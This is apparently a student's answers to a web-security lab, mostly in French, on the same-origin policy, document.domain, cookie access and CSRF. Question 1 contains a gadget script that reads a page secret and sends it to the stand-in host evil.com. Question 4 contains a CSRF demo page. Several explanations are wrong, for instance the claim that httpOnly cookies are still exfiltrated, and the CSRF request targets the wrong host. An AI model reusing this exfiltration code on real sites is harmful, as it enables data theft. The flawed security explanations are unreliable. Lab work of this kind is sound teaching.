Question 1 : Look at the code of integrator.html and write code for evilGadget.js in such a way that evilGadget.js will send the secret to evil.com. Rewrite integrator.html so the same origin policy will protect the secret.

```
// evilGadget.js
const secret = document.getElementById("secret").innerText;

const urlAttackerSever = "http://evil.com:8080"

const request = {
    mode:  'no-cors',
    method: "POST",
    headers: {
        'Content-Type': 'application/json',
    },
    body : JSON.stringify({ secret: secret })
};

fetch(urlAttackerSever, request)
```

Pour mettre en place le SOP (Same Origin Policy), afin de protéger le secret, il faut mettre une balise iframe au lieu d'une balise script. Comme la balise iframes sont conçue pour charger une page html dans une autre page html. Nous allons devoir créer une page html sur le site **evil.com**, contenant une balise script ayant pour source **evilGadget.js**.

```
<!-- page web html sur evil.com -->
<html>
<head>
    <script src="http://evil.com:8080/mycode/evilGadget_v2.js"></script>
</head>
<body>
<h1>
    Page from evil.com
</h1>
</body>
```

Le gadget est le même vu précédemment.

Nous devons ensuite modifier la page **integrator.html** de manière suivante, afin de changer la balise script par une balise iframe

```
<!-- integrator.html sur host.com -->
<html>
<h1>
    Trusted page

    <div id=secret>
        42
    </div>
</h1>
```

```
<iframe src="http://evil.com:8080/mycode/page.html">
    <script src="http://evil.com:8080/mycode/evilGadget_v2.js">
    </script></iframe>
</html>
```

Finalement, le site evil.com ne peut plus récupérer le secret.

Question 2 : Look at the sop2.html. From subdomain2.html try to read the secret from the integrator, what happens according to SOP ? How do you read the secret by using document.domain ?

Il n'est pas possible de récupérer le secret, car la source l'iframe ne provient pas de la même origine que le serveur hébergeant la page principale. La raison provient de la politique SOP appliquée par les iframes.

Pour pouvoir lire le secret, il faut changer le nom de domaine dans une balise script fournit par le serveur subdomain.host.com. Nous pouvons réaliser cela, en modifiant la fichier subdomainpage.html de la manière suivante :

```
<html>
<head>
    <script>    </script><h1> This is an iframe of different origin (subdomain)</h1>
<script>
    document.domain="host.com";
    mydiv=document.getElementById("secret");
    alert(mydiv.innerHTML);
</script>
</head>
</html>
```

Nous devrions pouvoir afficher le secret dans une balise alert. En pratique, j'ai jamais réussi à le faire fonctionner.

Question 3 : Write two different services from the same server that set a cookie.
On the client side include a gadget et an try the following things :

- let the gadget delete the cookie via JavaScript
- can the second service delete the cookie of the first ? Justify why.
- let the gadget send the cookie to another server (you can use a different port to simulate this)
- Does the previous item work if the gadget is inside a frame ?
- and if the gadget is inside a script and the cookie is initially set as httpOnly ?
- and if the gadget is inside a script and the cookie is initially set as secure ?
  Justify all your answers with code and explanations.

Le second service peut supprimer le cookie du premier car, les deux scripts appartiennent au même domaine. Ils partagent donc le même espace de stockage au niveau du navigateur, incluant les cookies.

S'il est à l'intérieur d'une frame oui, après ça dépend de la politique SameSite du cookie.

Si le gadget est à l'intérieur d'un script et qu'il est en httpOnly ou en secure, il sera également envoyé.

Question 4 : Implement a CSRF attack and explain then demonstrate what kind of SameSite cookie can mitigate this attack.

Pour implémenter une CSRF, nous devons avoir une page web hébergée, par exemple sur evil.com qui réalise un requête sur un autre site, par exemple host.com

```
<!-- Page sur evil.com -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<h1>Attaque CSRF on evil.com to host.com</h1>
<script>
    const url = "http://evil.com:8080/random_ressouce.html";
    const request = {
        mode:  'no-cors',
        method: "GET",
        headers: {
            'Content-Type': 'application/json',
        },
    };

    fetch(url, request);
</script>
</body>
</html>
```

Les cookie de host.com sont envoyés au cours de la requête.